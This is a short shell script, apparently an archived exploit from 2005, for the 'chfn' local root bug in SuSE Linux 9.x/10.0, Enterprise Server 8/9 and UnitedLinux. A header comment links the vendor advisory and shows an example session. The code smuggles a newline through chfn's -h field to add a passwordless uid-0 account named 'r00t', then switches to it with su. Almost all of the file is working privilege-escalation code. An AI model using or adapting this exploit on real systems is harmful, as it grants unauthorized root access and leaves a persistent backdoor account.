37 lines
No EOL
998 B
Bash
Executable file
37 lines
No EOL
998 B
Bash
Executable file
#!/bin/sh
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#
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# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
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# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
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#
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# by Hunger <susechfn@hunger.hu>
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#
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# Advistory:
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# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
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#
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# hunger@suse:~> id
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# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
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# hunger@suse:~> ./susechfn.sh
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# Type your current password to get root... :)
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# Password:
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# sh-2.05b# id
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# uid=0(r00t) gid=0(root) groups=0(root)
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if [ X"$SHELL" = "X" ]; then
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echo "No SHELL environment, using /bin/sh for default."
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export SHELL=/bin/sh
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fi
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if [ -u /usr/bin/chfn ]; then
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/bin/echo "Type your current password to get root... :)"
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/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
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if [ -u /bin/su ]; then
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/bin/su r00t
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/bin/echo "You can get root again with 'su r00t'"
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else
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echo "/bin/su file is not setuid root :("
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fi
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else
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echo "/usr/bin/chfn file is not setuid root :("
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fi
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# milw0rm.com [2005-11-08] |